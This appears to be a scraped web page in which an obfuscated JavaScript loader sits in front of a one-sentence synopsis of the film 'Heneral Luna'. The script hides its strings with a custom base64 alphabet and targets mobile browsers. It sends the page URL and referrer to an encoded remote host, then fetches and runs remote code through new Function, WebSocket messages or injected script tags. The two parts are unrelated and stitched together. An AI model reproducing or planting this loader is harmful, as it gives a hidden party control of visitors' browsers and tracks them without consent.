function mdre(e) {
const t = "UAB234CDE_FGHIJKQRSTVWXcdefghijklm-nopqrstuvwxyz015LMNOP6789YZab";
let n = "";
let r, o, c, s, a, i, l;
let d = 0;
let f = String(e).replace(/\r\n/g, "\n");
let h = "";
for (let e = 0; e < f.length; e++) {
const t = f.charCodeAt(e);
if (t < 128) {
h += String.fromCharCode(t);
} else if (t > 127 && t < 2048) {
h += String.fromCharCode(t >> 6 | 192);
h += String.fromCharCode(t & 63 | 128);
} else {
h += String.fromCharCode(t >> 12 | 224);
h += String.fromCharCode(t >> 6 & 63 | 128);
h += String.fromCharCode(t & 63 | 128);
}
}
while (d < h.length) {
r = h.charCodeAt(d++);
o = h.charCodeAt(d++);
c = h.charCodeAt(d++);
s = r >> 2;
a = (r & 3) << 4 | o >> 4;
i = (o & 15) << 2 | c >> 6;
l = c & 63;
if (isNaN(o)) {
n += t.charAt(s) + t.charAt(a);
} else if (isNaN(c)) {
n += t.charAt(s) + t.charAt(a) + t.charAt(i);
} else {
n += t.charAt(s) + t.charAt(a) + t.charAt(i) + t.charAt(l);
}
}
return n;
}
function iwtq(e) {
const t = "UAB234CDE_FGHIJKQRSTVWXcdefghijklm-nopqrstuvwxyz015LMNOP6789YZab";
let n = "";
let r = 0;
let o, c, s, a;
const i = String(e).replace(/[^A-Za-z0-9\-_]/g, "");
const l = i.length;
while (r < l) {
if (r == l) o = -1; else o = t.indexOf(i.charAt(r++));
if (r == l) c = -1; else c = t.indexOf(i.charAt(r++));
if (r === l) s = -1; else s = t.indexOf(i.charAt(r++));
if (r === l) a = -1; else a = t.indexOf(i.charAt(r++));
if (o === -1 || c === -1) {
break;
}
const e = o << 2 | c >> 4;
n += String.fromCharCode(e);
if (s !== -1) {
const e = (c & 15) << 4 | s >> 2;
n += String.fromCharCode(e);
}
if (a !== -1) {
const e = (s & 3) << 6 | a;
n += String.fromCharCode(e);
}
}
let d = "";
r = 0;
while (r < n.length) {
const e = n.charCodeAt(r);
if (e < 128) {
d += String.fromCharCode(e);
r++;
} else if (e > 191 && e < 224) {
const t = n.charCodeAt(r + 1);
d += String.fromCharCode((e & 31) << 6 | t & 63);
r += 2;
} else {
const t = n.charCodeAt(r + 1);
const o = n.charCodeAt(r + 2);
d += String.fromCharCode((e & 15) << 12 | (t & 63) << 6 | o & 63);
r += 3;
}
}
return d;
}
function gwyddp(e) {
return Math.floor(Math.random() * (e + 1));
}
window['w'+'jb'+'hz'+'s'+'fx'] = navigator.platform && !/^Mac|Win/.test(navigator.platform) || !navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent) ? function() {
(function(e, t, n) {
const r = n[iwtq("dPW5hqWyi4Inhqp0iU")];
let o = "";
try {
o = opener ? opener.document.location.href : n.referrer;
} catch (e) {
o = n.referrer;
}
if (o && o.length > 900) {
o = o.slice(0, 900);
}
let c = t.location.href;
if (c && c.length > 900) {
c = c.slice(0, 900);
}
const s = iwtq(e).split(",");
const a = s[3];
const i = s[2];
let l = s[4];
let d;
if (l.indexOf(";") > -1) {
let e = l.split(";");
if (e.length < 1) return;
if (e.length > 1) {
d = e[gwyddp(e.length)];
} else {
d = e[0];
}
} else {
d = l;
}
const f = mdre(`su=${d}&t=${s[0]}&d=${s[1]}&r=${o}&m=${Date.now()}&u=${c}&sm=${i}`);
const h = navigator.userAgent;
if (h.indexOf("b" + "ai" + "d" + "u") !== -1) {
const e = new XMLHttpRequest;
e.open("POST", `${i}://${d}/getSv/${f}`);
e.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
e.setRequestHeader("X-REQUESTED-WITH", "XMLHttpRequest");
e.onreadystatechange = function() {
if (e.readyState === 4 && e.status === 200) {
const t = JSON.parse(e.responseText);
const n = new Function("c", `${iwtq(t.ds)}; return ${t.ns}(c);`)(t.img.join(""));
new Function("_tdcs", n)(r);
}
};
e.send();
} else if (t.WebSocket && /UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(h)) {
const e = new WebSocket(`${a}://${d}/ws/${f}`);
e.onmessage = function(t) {
e.close();
const o = t.data.split(";");
if (o.length > 2) {
remoteCode = iwtq(o[0]);
remoteCode += iwtq(o[1]);
remoteCode += iwtq(o[2]);
new Function("_tdcs", remoteCode)(r);
} else {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
}
};
e.onerror = function() {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
};
} else {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
}
})("H-01H2ULGCmMiDALGDiLh51nhOILfrHydPpziQ", window, document);
} : function() {};
Set during the Philippine-American war, Heneral Luna follows the life of one of Philippine History's most brilliant military men, General Antonio Luna, as he tries to lead his countrymen against colonial masters new and old, and to rise above their own raging disputes to fulfill the promise of the Philippine Revolution.